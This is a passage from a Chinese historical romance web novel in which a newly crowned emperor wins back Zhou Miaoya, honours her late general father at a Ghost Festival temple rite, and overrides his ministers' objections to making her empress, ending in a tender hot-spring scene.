车夫吓得滚落在地,连滚带爬地躲开,浑身发抖,嘴里喊着:“饶命!饶命!”。 顾凌云拼命护住周妙雅,一只手强撑着车壁,另一手死死揽住她瘦弱的肩头。 汗血宝马上的玄衣男子气势汹汹地跃下马,手中握着长剑,疾步向车厢走去。 只听“唰”的一声,剑锋划过,车帘霎时被削成碎片,散落在空中,露出车厢内男子紧拥住女子的画面。 看见此情此景,朱弘毅彻底疯了。 还没等顾凌云反应过来,朱弘毅已一剑劈了过来。 剑锋破空,直取顾凌云命门。 顾凌云将怀里的周妙雅往旁边一推,自己则侧身一滚,堪堪躲过了那来势汹汹的一剑。 剑尖擦着他的肩膀而过,削下一片衣角。 朱弘毅没有再追。 他伸手去揽周妙雅,想把她护在怀里。 “妙雅,没事吧?”他声音沙哑,带着一路追来的疲惫,亦带着压不住的急切。 周妙雅不敢看他,但她下意识地伸出手,狠狠推了他一把。 朱弘毅没有防备,被她推得往后退了一步。 他瞬间愣在那里,望向她的目光中带着一丝不解。 周妙雅低着头,缩在车厢的角落里,浑身止不住地在颤抖。 朱弘毅望着她,怔在原地,不知所措,半晌,方才开口轻唤:“妙雅,跟朕回家,好吗?” 周妙雅只是 往角落里又缩了几分,根本没有应他。 “妙雅。” 他又唤了一声,语气中带着不解问道:“你到底怎么了?为何要不辞而别?” 她还是不说话。 朱弘毅深吸了一口气,声音有些发颤:“我们一起经历了那么多,你都忘了吗?到底是为何?我们好不容易可以长相守,永不分离,为何?你到底是为何要离开?” 他见她仍不为所动,下意识地趋前了一步,却被顾凌云抬手拦住:“陛下,她不愿同你回去,你就不要逼迫她了。” 朱弘毅反手将剑抵在顾凌云咽喉,语气冰冷:“我们之间的事,与你何干?” 顾凌云高举双手,无奈作降。 只见周妙雅缓缓起身,扶着车厢,虚弱道:“放开他。” 朱弘毅没有动。 周妙雅抬起泛红的眼眶,嘶声道:“我叫你放开他!” 朱弘毅只得将顾凌云推到一旁,扔下了手中的剑。 周妙雅似耗尽全身力气,扶着车厢,一动不动。 朱弘毅看着她力竭不肯看自己的模样,心里像是被人用刀子一下一下剜着,鲜血淋漓。 他缓缓抬起手,伸向她,声音放得极低,低得像是哀求:“妙雅,跟朕回去,好吗?” 周妙雅无力地摇了摇头:“求陛下成全。” 朱弘毅在哀求她:“那你总得告诉我,为什么?” 周妙雅抬起泪眼,望向他,眼中充满绝望:“陛下为何一再要我自揭伤疤?那一夜如噩梦缠身,我根本就忘不了。” “我的心很痛,可我忘不了,忘不了那一夜所受到的耻辱,它将我钉在耻辱柱上,时时刻刻提醒我,我很脏,我就是一个很脏的人。” 朱弘毅彻底明白了,她还是忘不了侍寝那夜带给她的创伤。 他没有将手收回,语气坚定道:“朕不在乎。” 周妙雅的泪水如决堤般滚落,她摇着头,无力道:“可言官在乎,天下人在乎,他们容不下皇帝身侧,站着一个有污点的女人。” 朱弘毅突然笑了,笑中带泣:“妙雅,朕宁可做一个昏君,杀光天下言官,也不能没有你。” “在辽东的每一个日夜,我无时无刻不在想你。前线九死一生,冒死闯盛京王城取证,拼了性命为你平反,只为早日归来,履行对你的承诺。” “我无时无刻不告诫自己,不能死在辽东,我的妙雅还等着,等我回去凤冠霞帔迎娶她。所以我拼尽全力,去打每一场仗。可当我归来,当我寻到你,当我以为一切都过去时,你连见都不见我一面,便随别人走了?你这样对我,不残忍吗?” 周妙雅的眼泪如决堤般流了下来,但她拼命忍着,捂着嘴,低着头,不让自己哭出声。 她还是没抬头,她不知该如何面对他。 她自己又何尝不想与他白头偕老?浣衣局暗无天日的每个日夜,她强忍着污秽,洗着太监的亵裤,掰着手指头盼着他回来。 可她越不去心中的那道坎。 时间一点点过去,密林里安静得能听见风声。 日影自树梢移至天中,又自天中渐至西斜。 两人就这么静静相对,沉默不语。 半晌,朱弘毅还是开口了。 他的声音很轻,轻得像怕惊着什么:“妙雅,言官如何说,朕不在乎,天下人如何看你,朕也不在乎。” 他眼神坚定,灼灼地看向她:“朕说你配为皇后,你就配。” “你是周承山的女儿,是辽东数万浴血奋战,保家卫国的将士们心目中的光,他们永远是你身后最坚实的后盾。” “周承山是辽东的神,百姓自发于寺庙供奉其牌位,朕试问天下——周承山的女儿,为何不能成为大晟的皇后?” 周妙雅的肩头剧烈地颤动着,她没有抬头,只死死攥住衣襟,攥得手指尽失血色。 朱弘毅看着她,等了一会儿,仍不见她回应。 只见他忽然往后退了一步。 然后,他缓缓地跪了下去。 双膝砸在地上,发出一声闷响。 周妙雅整个人都僵住了。 她猛地抬起头,看向车外。 他跪在那里。 九五之尊,天下之主,跪在泥地里,跪在她的面前。 周妙雅心似被什么狠狠攥住,攥得她喘不过气来。 朱弘毅看着她,一字一字,坚定说道: “朕的江山可以不要,但是朕不能没有你。” 周妙雅的眼泪瞬间汹涌而出。 她捂着嘴,拼命忍着,不让自己哭出声,可那眼泪像决堤的洪水,止都止不住,顺着脸颊滚滚而下,热烈滚烫。 她想起在宁王府的无数日日夜夜。 梅树下,初见雪夜打猎归来的少年,一见倾心。 瀚海楼中,他握着她的手,摊开一卷卷书画,共品丹青。 细雨中,他们共撑一把伞,她的心跳得快要冲破胸膛。 听风阁水榭下,月光倾泻,他们深情拥吻。 她本以为自己可以放下。 她以为只要远离京城的是是非非,她就能忘记。 可此刻,她看着他跪在这里,跪在她面前。 她终于明白了。 她根本就放不下。 她从来没有放下过。 她猛地掀开车帘,冲下了马车。 脚踩在泥地里,踉跄了一下,差点摔倒,可她不管,她跌跌撞撞地冲到了他的面前。 他跪在那里,浑身尘土,眼眶通红,看着她。 那是她等了一辈子的人。 她猛地扑进他怀里,死死抱住他,放声大哭,再也不要撒手。 “二郎…对不起…对不起…我离不开你…我永远不要与你分开…”—— 作者有话说:小情侣!终于和好啦!!!撒花撒花!! 第139章 朱弘毅没有将周妙雅带回乾清宫。 那个地方留给她的创伤太深, 他不愿她再受一次锥心之痛,更不愿她再回忆起那夜所受的屈辱。 马车一路往城东走,穿过了几条熟悉的街道, 最后停在了宁王府的门前。 周妙雅掀开车帘, 看到那扇熟悉的朱漆大门, 眼眶瞬间发酸:“二郎,这?” 朱弘毅握住她的手,声音温软:“这里是你的家啊,我曾经说过,无论你做任何决定,宁王府永远是你的倚靠,还记得吗?” 周妙雅重重地点了点头, 泪水又不争气地顺着脸颊滚落。 朱弘毅抬手,捧住她的脸颊, 指腹缓缓拭去她颊边的泪痕:“好了, 不哭了,青黛和白芷在等你呢。” 说罢,他朝府门方向抬了抬下颌。 朱漆大门外, 青黛早就候在那里了,她看见周妙雅从车上下来, 泪水瞬间夺眶而出,也顾不得规矩, 快步跑了过去,一把将周妙雅抱住, 哭得说不出话来。 白芷站在后面,眼眶也红红的,却只是笑着, 笑着笑着,那泪便落了下来。 “姑娘…” 青黛哽咽着:“姑娘,你终于回来了…” 周妙雅抱着她,眼泪也不争气地流了下来。 白芷走过来,握住她的手,抽泣着,声音有些发颤:“小姐,回来就好,回来就好。” 朱弘毅站在一旁,看着她们三个人抱作一团,泣不成声。 他没有说话,只是静静地看着周妙雅,他看到了,她的唇角终于牵起了一丝笑意。 接下来的日子,在登基大典正式到来之前,他将平日里办公的地点搬到了宁王府。 内阁日日抱着折子往宁王府跑,司礼监亦每日在此进进出出。王府的正厅被改成了临时的朝堂,大臣们跪了一地,朱弘毅端坐其上,如常议事。 满朝文武皆知,王府正厅的屏风后,还坐着一个人。 有时大臣在前厅奏对,能听见屏风后面传来轻轻的脚步声,或是茶盏碰撞的微响,没有人敢抬头看,但所有人都知道那屏风后面坐的是谁。 朱弘毅在前厅批阅奏章时,周妙雅便静静地坐在屏风后面,或安静地读书,或执笔画画,或只是无所事事地出神。 她知道他在,他也知道她在。 隔着那道屏风,他们各自做着自己的事情,但又好像一直在一起。 有时朱弘毅批阅倦了,便起身绕至屏后,在她身侧静坐片刻。 周妙雅轻轻将头靠在他的肩上,闭上双眼,与他一同享受这片刻的温存。 青黛与白芷偶见此景,皆抿唇偷笑,悄声退下,不敢打扰。 朱弘毅即使公务再忙,也日日陪着周妙雅。 清晨,他陪她在庭院中散步,中午,白芷做了满满一桌子好菜,他便陪她一起吃饭。 周妙雅不在的这段时间,白芷特请了松鹤楼的苏厨来府,专门学习研制苏州菜,只待有一天小姐回来,在府中就能吃到家乡的美味。 下午他在正厅议事,她就坐在屏风后面。有时候议着议着,他会突然停下来,侧耳听一听屏风后面的动静,确认她还 在,然后继续议事。 傍晚,他陪着她在听风阁坐着,水榭边上的风吹过来,带着凉意,他把自己的披风解下来,拢在了她的身上。 她偶尔会主动开口,说一些过去的事情,唇角含着淡淡的笑。 朱弘毅静静地听着,他知道,她在慢慢的好起来。 那些创伤不会一下子消失,但她在试着走出来,而他,愿意陪着她,一天一天,一年一年,无论多久。 ———— 七月半,盂兰盆节。 朱弘毅带周妙雅出了府。 马车一路往西,路上行人渐多,男人肩挑着竹担,妇女怀中抱着稚子,人们扶老携幼,皆往同一个地方走去。 周妙雅掀开车帘往外看去,见赶路的百姓们神色虔诚,手中皆捧着香烛,提着纸钱。 她这才想起今日是盂兰盆节,百姓们要去寺庙做法事,为亡魂诵经超度。 她放下车帘,抬眸望向对坐的朱弘毅。 朱弘毅轻轻点了点头:“去奉国寺,给你爹上柱香。” 马车停在奉国寺前,朱弘毅伸手扶她下车。 周妙雅抬头看去,只见山门上悬着一方匾额,上书五个大字:盂兰盆胜会。 奉国寺前人山人海,香客络绎不绝,门口站着几位僧人,正引着人群往里走。 朱弘毅牵着周妙雅走进山门,穿过熙攘的人群,来到大雄宝殿前。 只见殿前的空地上,摆了一个极大的坛场。 周妙雅停下脚步,看着那排场,不由得怔住了。 坛场布置得极为庄严,大殿前设五行桌案,案上用锡钵盛着盂饭,罗列着各色的时令果品,紫檀木盆座承着盂兰盆,盆内叠放了二十四色熟蔬菜,白瓷碗中清水盈盈,浮着清丽淡雅的荷花,大案正中置着一尊鎏金香炉,炉内三炷高香,青烟袅袅,直上云霄。 周妙雅正看着,目光忽然被另一处吸引了。 只见大殿的另一侧,紧挨着坛场,摆着几张长桌,桌上供品堆积如山,桌后立着一块块木牌,密密麻麻的,排了满满几排。 周妙雅近前几步,才看清了那些木牌上的字: “周承山之牌位。” “周承山长生禄位。” “周承山将军之位。” 一块接着一块,一列挨着一列。 周妙雅瞬间怔在了原地。 她缓缓转过头,看向那些进进出出的百姓。 有人捧着新做的牌位进来,小心翼翼地摆在桌上。 有人跪在桌前,点了一炷香,磕了三个头,口中念念有词。 有人站在旁边,看着那些牌位,悄悄抬袖拭泪。 一个小女孩被母亲牵着,来至桌前,母亲指着那些木牌,低声说着什么,小女孩听了一会儿,忽然跪下,认认真真地磕了三个头。 恍惚间,她仿佛看见了年幼时的自己。 苏州城的蒙蒙烟雨里,文老太太牵着她的手,在寒山寺对着一方无字的牌位,拜了又拜。 那时她根本不知道,祭拜的是谁。 周妙雅眼眶一热,泪水根本控制不住,一瞬间汹涌而出。 她怔怔地站在那里,看着那些牌位,看着虔诚供奉祭拜的百姓,望着满殿的烟雾缭绕,整个人都在发抖。 朱弘毅走到她身边,没有说话,只是伸出手,轻轻握住了她的手。 过了许久,周妙雅才开口:“二郎…” 她声音发颤:“他们都是来供奉我父亲的。” 朱弘毅点了点头。 周妙雅看着他,眼眶红红的。 “他们不认识我父亲,他们从来没见过他,但他们都记得他。” 朱弘毅没有说话,只是轻轻把她揽进了怀里。 周妙雅靠在他肩上,眼泪止不住地往下流。 那些百姓,那些她素未谋面的人,那些从未见过她父亲的人,竟自发为他立牌位,自发来供奉,自发来纪念他。 她父亲是英雄。 他为大晟流过血,拼过命,最终战死沙场。 他们记得他。 即使曾经被抹去全部的痕迹,但他们一直未曾忘却过他。 有小沙弥走了过来,手中捧着一个崭新的牌位,问道:“施主,可是要为周将军供奉牌位?” 周妙雅望着他手中那块空白的木牌,轻轻点了点头。 小沙弥帮她写上了周承山的名字,周妙雅郑重地接过牌位,走到桌前,亲手把牌位摆在了最前面。 然后她跪了下来,点了一炷香,重重磕了三个响头。 她未发一言,只在心中默念着: 父亲,女儿来看您了。 您没见过女儿,女儿也没见过您,但女儿是您的骨血,是您与娘亲的女儿。 您放心,女儿很好,女儿遇到了一个人,他待女儿极好,承诺会照顾女儿一辈子。 您在天上,也要好好的,要保佑女儿与心爱之人,顺顺利利,携手共度余生。 朱弘毅走到她身侧,撩袍跪下,也重重磕了三个响头。 周妙雅望着他,眼眶又不自觉的湿了。 盂兰盆法事正式开始了。 僧人们敲响木鱼,诵念经文,梵音嗡嗡,在殿内回荡。 香客们跪了一地,跟着诵经,亦跟着叩首。 周妙雅与朱弘毅双手合十,静静跪于蒲团之上。 法事持续了整整一个时辰,待结束时,日头已偏西。 香客们渐渐散去,三五成群,边走边说话。 周妙雅正要离开,忽然听见旁边有人在议论着什么: “听说了吗?新帝要立后了。” “立谁?” “周承山的女儿,便是那位被冤枉的辽东大英雄,周将军的千金。” “这真是顶顶的好事啊!朝廷已为他平反,如今百姓都在给他修祠堂呢,你看那边满桌的牌位,都是供奉他的。” “他的女儿,该是多好的姑娘啊!周将军那样的人物,他的女儿必然差不了。” “可不是嘛,听说那姑娘也不容易,自幼被寄养在别人家,吃了不少苦。” “新帝立她为后,那是应该的,大晟亏欠周将军太多,正该善待他的女儿。” “对!咱们百姓都支持!谁若反对,咱们可第一个不答应!” 周妙雅站在那里,听着那些百姓的议论,眼泪又不争气地汹涌而落。 那些人有老有少,有男有女,身着粗布衣裳,脸上带着憨厚的笑,三五成群,边走边聊,说的都是她的事。 然而,他们不知道她就在身旁。 他们口中的周姑娘,此刻正站在不远处,静静听着。 他们说的每一句话,都如暖流一般,涌进了她的心底。 朱弘毅静静站在她的身侧,伸出手,轻轻地握住了她的手。 周妙雅望着那些百姓离去的背影,看着他们消失在茫茫人海之中,心底一片温软。 夜幕降临,护城河两岸,不知何时已聚满了人。 朱弘毅牵着周妙雅的手,沿着河堤缓缓前行,晚风自河面拂来,带着水汽的凉意,也夹杂着远处隐隐约约的诵经声。 他们循声而去。 河边不远处,搭着一座简易的棚子,几个僧人盘腿坐于棚下,轻轻敲着木鱼,低声诵经。 梵音随夜风飘散,若有若无,恍若自另一个世界传来。 周妙雅望向河面,但见数不清的河灯在夜色中连缀成一片,灯火逐波,随水流淌。 烛光在水面上摇曳,倒映于波心,灯影交错,难分彼此。 周妙雅站在那里,看得出了神。 河岸边,不断有人蹲下身,点燃一盏盏河灯,轻轻放入水中。 有人双手合十,闭目默念,有人望着远去的灯火,悄悄抬袖拭泪。 那些河灯,载着亲人的思念,随着河水缓缓流向远方。 朱弘毅执起她的手,低声问道:“想放河灯吗?” 周妙雅重重点了点头。 河岸边有个卖河灯的小摊,竹架上摆着各式各样河灯。荷花状的,船形的,莲花座的,一盏盏都点着小小烛火。 朱弘毅从架上取下一盏荷花灯,递到周妙雅的手中。 周妙雅接过,低头细看那盏灯,纸糊的灯身,做成荷花形状,花瓣层层叠叠,中间燃着一根细细的红烛,烛光映在她脸上,将她的眉眼映照得格外温软。 朱弘毅自己也拿了一盏灯。 两人走到河边,蹲下身。 河水就在脚下流淌,带着一盏盏河灯,缓缓向前,烛光在水面上晃动,映出一河的碎金。 周妙雅双手捧着那盏荷花灯,轻轻置于水面。 灯一入水,便被水流载着,缓缓向前漂去。 她立即双手合十,闭上了双眼。 月光倾泻而下,她的睫毛微微颤动。 她在许愿,很认真,很虔诚。 朱弘毅静静侧首望向她,他想,这便是他要的,便是他拼了命也要追回来的人。 周妙雅许完愿,偷偷地睁开了一只眼睛,微微侧过头,看向朱弘毅。 那眼神小心翼翼的,带着几分羞涩,又藏着几分好奇。 他此刻心里在祈求什么呢? 她不知道。 但她希望,这些顺水缓流的河灯,能为他带去内心的平静。 朱弘毅察 觉到了她的目光,侧首看了过来。 两人的目光在夜色中相遇。 周妙雅赶紧移开眼,假装去看河里的灯。 朱弘毅低笑了一声。 他未发一言,只默默将自己的那盏灯也放入河中。 他们又共同放了好几盏灯。 一盏接着一盏,置入河中,看着它们慢慢漂远。 最后一盏灯入水时,朱弘毅忽然开口。 他望着河面,声音不高,却一字一字,清清楚楚: “岳父大人,愿您的在天之灵,能保佑我与妙雅,一生顺遂,永不分离。” 周妙雅怔住了。 她转过头,看向他。 他站在河边,晚风吹动衣袍,烛光在脸上明明灭灭。 他没有看她,只静静地望向河面,望着那些载满思念的河灯。 她的眼眶忽然有些发酸。 良久,她默默地伸出手,轻轻握住了他的手。 朱弘毅转过头来,看向她。 清冷的月光下,她的眼睛亮亮的,不知是泪光,还是烛光。 他反手握住她的手,握得很紧。 河面上,无数河灯缓缓漂流,载着人们的思念与祈愿,静静流向远方。 夜风温柔,梵音缥缈。 他们并肩立于河边,望着那些灯火,很久很久。 第140章 夏日午后和煦, 周妙雅在暖阁里倚窗而坐,闲翻书卷。 听得外面传来脚步声,她抬眸望去, 就见崔尚宫带着孙司记, 冯尚仪, 韩司药与田贞兰,一同走了进来。 她慌忙起身相迎:“崔尚宫…” 崔尚宫摆了摆手,示意她不必多礼。 她走至周妙雅面前,望见那双圆润美丽的杏眼,亮亮的,润润的,与之前在浣衣局时全然不同了。 崔尚宫心下一松, 嘴角不自觉地上扬:“不错,气色好多了。” 孙司记走上前, 轻轻握住周妙雅的手, 眼眶有些发红,却忍着没哭。 周妙雅反握住她的手,柔声唤道:“姑姑。” 冯尚仪与韩司药站在一旁看着此情此景, 脸上带着温和的笑。 田贞兰最年轻,忍不住掉了眼泪, 又赶紧抬袖擦掉,惹得众人一阵笑。 几个人围着周妙雅坐下, 闲话家常。 午后的阳光透过窗棂洒进暖阁,伴着屋内的笑语, 温馨而美好。 崔尚宫静静望着沐浴在阳光下,眉目生辉的周妙雅,心底忽然涌起许多往事。 那年女官大考, 她一篇策论写得满堂皆惊,一举夺魁。 翰林院争相传阅,皆言这姑娘若生为男子,必是国之栋梁。 她望着周妙雅,目光里带着一种说不清道不明的意味,是骄傲,也是心疼。 欢声笑语间,时间过得很快,转眼间,日已西斜。 众女官起身,准备回六尚局,孙司记拉着周妙雅的手,再三不舍。 崔尚宫这才开口,语重心长道:“妙雅,你是女官大考的魁首,若为男子,你的文章可拜翰林。” 周妙雅愣了一下,抬起头,看向崔尚宫。 她看见崔尚宫的目光里带着审视,却不严厉,而是期许。 崔尚宫继续说着:“男子若遇不公,可上书弹劾,大臣奸邪,小人结党,作威弄权者可劾,百官贪墨,败坏纲纪者可劾,学术不正,妄议朝政,希图进用者亦可劾。” “可女子呢?女子受了委屈,被人泼了脏水,被人指着鼻子骂,能怎么办?” 听到这里,周妙雅的睫毛颤了颤。 崔尚宫望向她,一字一字道:“只能忍着么?” 暖阁里瞬间安静了下来。 火红色的夕阳斜斜照入,落在崔尚宫的脸上,将她的神情映得格外分明。 “妙雅,你是女官大考的魁首,你的笔,不比那些言官的笔差。” 听到这里,周妙雅的眼眶有些发红。 她想起当年初入六尚局的情景,崔尚宫惜才,亦爱才,一路提携,对她多有照拂,崔尚宫是这世上顶顶好的上级,她这辈子都不会忘。 崔尚宫往前走了一步,离她更近。 她扶住她的双臂,语气笃定道:“他们不是攻讦你不配为后么?妙雅,若是心中觉得不公,便拿起你的笔,一字一句地反击回去。” 周妙雅红着眼,怔怔地望向崔尚宫。 崔尚宫紧了紧扶在她双臂上的手,重重点了点头:“妙雅,不要让陛下一个人在前朝,独自为你扛下所有。” 她话音未落,孙司计,冯尚仪,韩司药与田贞兰都围了上来。 崔尚宫眼眶微热,却仍是笃定地望向她:“六局二十四司,永远是你最坚强的后盾,妙雅,勇敢地迈出去,站在陛下的身侧,与他并肩,去反击那些攻讦你的人。” 周妙雅的眼泪终于不争气地落了下来。 她的声音有些发颤:“崔尚宫,谢谢你,妙雅知道该怎么做了。” 崔尚宫终于微微扬起了唇角,她的目光中满怀期许,笑中带着泪。 夜幕降临,周妙雅在案前坐定,执起笔,眼神无比坚定。 她回想起那年在汤山行宫,她在黑暗中手握着火铳,心中所思所想逐渐澄明。 她不能永远躲在他身后,只做一个待庇待怜的孤女。 那时她想的是堂堂正正站在他身边,成为他的王妃,为他生儿育女,在宗谱玉牒上与他的名字写在一起。 而今他承大统,成了大晟的皇帝,在前朝为她孤军奋战。 她应当坚强起来,拿起手中的笔,与他并肩而战,如此,方能不负他的期望,不负天下百姓对周承山女儿的期望。 她奋笔疾书,写下《自陈书》一封: 臣女周氏妙雅,谨以数事自陈于陛下: 臣父周承山,世受国恩,官拜辽东总兵,镇守边疆二十载。黑水河一役,以孤军抗北狄数万之众,苦战三月,粮尽援绝,阖门死节。臣时在襁褓,幸得忠仆救出,寄养于江南。 臣虽女子,不敢忘父志,自幼读书习画,通经史,晓医理,女官大考,蒙先帝圣恩擢为魁首,入宫以来,兢兢业业,未尝一日懈怠。 蹴鞠案中,臣以西学破局,救先皇后顾氏于危难。逍遥散案,臣以医理验毒,擒真凶于无形。代王乱时,叛军围城,臣冒死护传国玉玺于乱军之中,宁死不交。坤宁宫变,康敏之逼宫,臣举火铳诛之,血溅殿前。 此四事者,非邀功,实尽臣子本分,若以功过论,臣无愧于天地,无愧于祖宗,无愧于陛下。 臣闻古之立后,必择德配位,功足服众者。臣无功不敢居,无德不敢受。然言官以臣出身微贱,阅历复杂为由,屡屡攻讦,臣不得不辩: 臣出身将门,忠烈之后,非微贱也。臣事六尚局,始终清白自守,非复杂也。先帝召臣侍寝,臣毁容以拒,是守节也,以韩司药性命相逼,臣舍身以救,是重义也,浣衣局中,忍辱负重,坚韧也,坤宁宫前,冒死杀敌,是忠勇也。 此四德者,可配为后否? 臣知陛下欲立臣为后,言官阻之,陛下为难。臣不愿陛下因臣而屈于言官,亦不愿言 官因臣而妄议国体。臣思之再三,自陈数事,听凭圣断。 若陛下以臣为可,臣愿以身许国,辅佐圣君。若陛下以臣为不可,臣愿青灯古佛,终身不嫁,以全名节。 臣言尽于此,伏惟圣裁。 周妙雅顿首再拜 ———— 《自陈书》呈上之后,朱弘毅在宁王府正厅召集众臣议事。 周妙雅依旧坐在屏风后面。 她紧张的手心有些发潮,攥着衣襟,攥得指节生疼。 她心中清楚,今日是要为立后之事做最后的决断。 时间一点点过去,前厅的争执声也越来越大。 她听见了徐明阳为她辩驳的声音:“周司典这篇《自陈书》,诸位大人也都看过了,谁还有什么话,不妨当面直说。” 人群中传来了冷哼的声音:“徐大人,女子写的文章,也能作数?” 周妙雅听到这里,攥着衣襟的手指愈发紧了。 徐明阳的声音依旧沉稳:“文章不论男女,论的是理,周司典这篇文章,字字句句,有理有据,诸位大人若觉得哪里不对,可以一条一条地驳。” 那人虽没有继续再说话,可面上的表情仍是不服。 半晌,另一个声音自前殿传来:“徐大人,周氏出身微贱,阅历复杂,如何能母仪天下?” 还未等徐明阳开口,只听得朱弘毅的声音自前殿传来:“出身微贱?你说,周承山的女儿,出身微贱?” 那人被问得哑口无言,却还想辩解。 朱弘毅根本不给他开口的机会:“朕敢问在座诸位,你们之中谁的父亲守边关数十载,深得百姓爱戴,边关百姓为其修祠祭奠?又有谁的父亲,在黑水河抗北狄数万人,苦战三月,阖门死节?” 前厅瞬间安静了下来。 周妙雅在屏风后面,眼泪不自觉地忽然涌了上来。 她听见朱弘毅继续驳道:“阅历复杂?她于蹴鞠案中救人,于逍遥散案中查凶,于代王叛乱时护传国玉玺,坤宁宫变时诛叛臣,你们谁有她这样的阅历?站出来,让朕瞧瞧!” 前厅之上,众臣一时间哑口无言。 半晌,御史台的人才开口,声音有些发虚,仍是硬着头皮说了:“陛下,周氏虽有功,然其曾…曾侍奉先帝,此事朝野皆知,若立其为后,恐遭天下人非议。” 听到这里,周妙雅猛地闭上了双眼。 她听见前厅,朱弘毅笑了一声。 那笑声很短,很轻,却让人脊背发凉: “侍奉先帝?先帝召她侍寝,她毁容以拒,这叫侍奉先帝?先帝以韩司药性命相逼,她舍身相救,这叫侍奉先帝?” “天下人非议?你们去市井街头走走,听听百姓如何议论,去奉国寺的祭坛看看,百姓祭奠周承山的牌位已堆成山。” 说到这里,他声音忽然拔高: “你们口口声声说她名节有损,朕问你们,什么是名节?守节是名节,重义是名节,坚韧是名节,忠勇是名节,这四样,她哪一样没有?” 前厅霎时陷入一片死寂。 周妙雅在屏风后捂着嘴,尽量不让自己哭出声来。 过了许久,有人小声道:“陛下息怒,臣等…臣等并无他意。” “并无他意?” 朱弘毅的声音冷得像淬过冰的寒刃: “朕今日言尽于此,立后之事,若谁再敢阻朕,便以谋逆论处,诛九族以死谢罪。” 前厅里,只听得他话音刚落,所有人都噗通一声,双膝重重砸地,伏跪了下去。 “臣等不敢!” “臣等遵旨!” 朱弘毅的声音复又从前厅响起,铿锵有力,且坚定不移: “传朕旨意,登基之日,颁布诏书于天下,立周承山之女为后,礼部即刻择定吉日,筹备大婚与立后大典。” ———— 为顾云舒解毒之后,博尔济灰溜溜地独自从京城往辽东而去。 临行前,阿慕尔告诉她两件事: 其一,陛下因北狄纳土归晟之事,加上她为顾云舒解毒,对她已是格外开恩,望她能自行离京,莫要再给陛下立后之事添乱。 其二,北狄今已归大晟所统,她便不再是公主。大晟亦不需与北狄联姻以稳边疆,请她趁早死了这条心,自行觅得良缘。 博尔济虽然心中不悦,但既然弟弟已经决定做大晟的臣子,她也只能认命,她一路策马疾行,却没想到在途中一处驿站里,遇见了同样往辽东去的顾凌云。 “顾大人?您怎么在此?”博尔济睁大了眼睛,好奇问道。 “公主殿下。”顾凌云抱拳行了一礼。 博尔济笑了笑:“我如今已经不是公主了,顾大人也不用如此客气,直接叫我博尔济就好。 顾凌云也笑了笑:“还是要感谢姑娘帮我阿姐解毒。” 博尔济摆摆手:“都是分内之事,顾大人此行,可是要往辽东去?” 顾凌云微微颔首:“是,我已向陛下请旨,自请去辽东戍边,陛下同意了。” 博尔济笑颜如花:“太好了,我也正要往辽东去,顾大人,不如我们同路而行?” 顾凌云点了点头:“好,既然都往辽东去,那便一起走吧。” 博尔济开心地笑了,开始给顾凌云讲辽东的风光,还有北狄的民俗,两人骑着马,在官道上策马扬鞭,一路向东北而去。 ———— 登基大典在即,朱弘毅却忙里偷闲,携周妙雅去了汤山。 这里,有他们太多共同的回忆。 当年她得知身世,并在此下定决心,要为家族平反。 她亦是在这里,第一次摸到了火铳,在他手把手的教导下,打出了人生中的第一枪。 如今,再回到这里,她的心境已完全不同。 家族已昭雪,她已能名正言顺地站在心爱之人身侧,并要与他并肩,登上那九五之尊的位置,一切都恍如隔世。 清晨,第一缕阳光穿透薄雾,洒落在汤山的层峦叠嶂之间。 他们并肩站在廊下,看远处山峦间浮起的晨雾,周妙雅想起当年她站在这里,满心惶恐,不知前路在何方。 如今,她默默将头靠在他的肩上,他轻轻拢住她的肩头,很安心,很幸福。 傍晚,他们沿着山间小径缓缓而行,落日将天边染成橘红色,晚风带着草木的清香,拂在身上,温温软软的。 周妙雅走累了,朱弘毅便背起她,她伏在他背上,双手拢住他的脖颈,闻着他身上熟悉的气息,忽然觉得,这一辈子,若是一直就这样走下去,也很好。 夜幕降临,皎皎朗月升起,悬于天边。 月光倾泻而下,落在温泉水上,碎成一片银光。 温泉水汽氤氲,在月光下袅袅升腾,恍若仙境。 四下很安静,唯有水流潺潺,和草丛中偶尔传来的几声夏夜的虫鸣。 周妙雅站在池边,看着那热气蒸腾的水面,忽然有些紧张。 朱弘毅已经下了水,他靠在池边,月光照在身上,水波在胸前轻轻荡漾。 他抬眼看她,目光里带着笑意,温柔得能溺 死人。 “不下来?” 他声音低沉,带着几分沙哑,听在耳中,让人心痒痒的。 周妙雅咬了咬唇,慢慢褪去了外衫,滑入水中。 水温刚好,不烫不凉,包裹着她,让她整个人霎时便放松了下来。 她走到他身边,刚要坐下,却忽然愣住了。 月光倾泻在男人健硕的胸膛,结实的臂膀上,那上面还留有那些她从未见过的,在辽东留下的伤疤。 每一道伤疤,都是他拼了命要回来的证明。 周妙雅的脸腾地一下便红了。 她移开眼,不敢再看,心跳得厉害,像是要从胸口蹦出来一般。 朱弘毅笑着看她那副羞窘的模样,忽然伸出手,轻轻环过她的腰枝,将她拽到了眼前。 两人离得很近。 近到能看清他睫毛上挂着的水珠,能感受到他温热的呼吸,能闻到他身上那种熟悉的气息,混合着温泉水汽的,属于他的味道。 周妙雅心跳如擂鼓一般。 朱弘毅看着她,目光温软如春水,似能将人化开。 “妙雅,你怕吗?” 周妙雅怔了怔。 朱弘毅继续问她:“往后的路,身处那般高位,注定会很艰难,会有更多的人盯着你,更多的话等着你,你怕么?” 周妙雅望向他,月光下,他璀璨如星河的眸子,里头盛着月色与自己的倒影。 忽然间,她就不紧张了。 “不怕。” 她轻声回应着:“只要是一起携手走过,纵是千难万险,亦无所惧。” 朱弘毅静静地看着她。 她的额发被水汽沾湿,脸颊微微泛红,唯有一双漂亮的眼睛亮得惊人,恍若盛满月华。 他抬手,轻轻拢了拢她额前的碎发。 动作极轻,极缓,似怕惊扰到什么。 水珠自她发梢滑落,坠入水中,漾开一圈圈涟漪。 他盯着她的唇看了片刻,那里软软的,润润的,在月光下泛着微光。 她微微张着小口,似在等待着什么。 朱弘毅的呼吸倏然一滞。 周妙雅的心跳得快要冲破胸膛。 但她没有躲开。 下一刻,他俯身,攫住了她的双唇。 极轻,极柔,若蜻蜓点水,似在试探。 而后骤然变得更深,更缠绵。 他的唇贴着她的,辗转厮磨,舌尖轻轻探入,描摹她的唇形,品尝她的滋味。 那似泉水一般的清甜,是她独有的温软,是让他魂牵梦萦了无数个日夜的味道。 周妙雅闭上眼睛,伸出手,轻轻环住了他的脖颈。 温泉水在周围轻轻荡漾,一波又一波,似在应和着他们彼此的心跳。 他的吻越来越深,越来越急。 他从她的唇上移开,落在她的眼睑上,落在她的鼻尖上,又落在了她的耳畔。 他含住她的耳垂,轻轻吮吸,她便浑身一颤,软在他怀里。 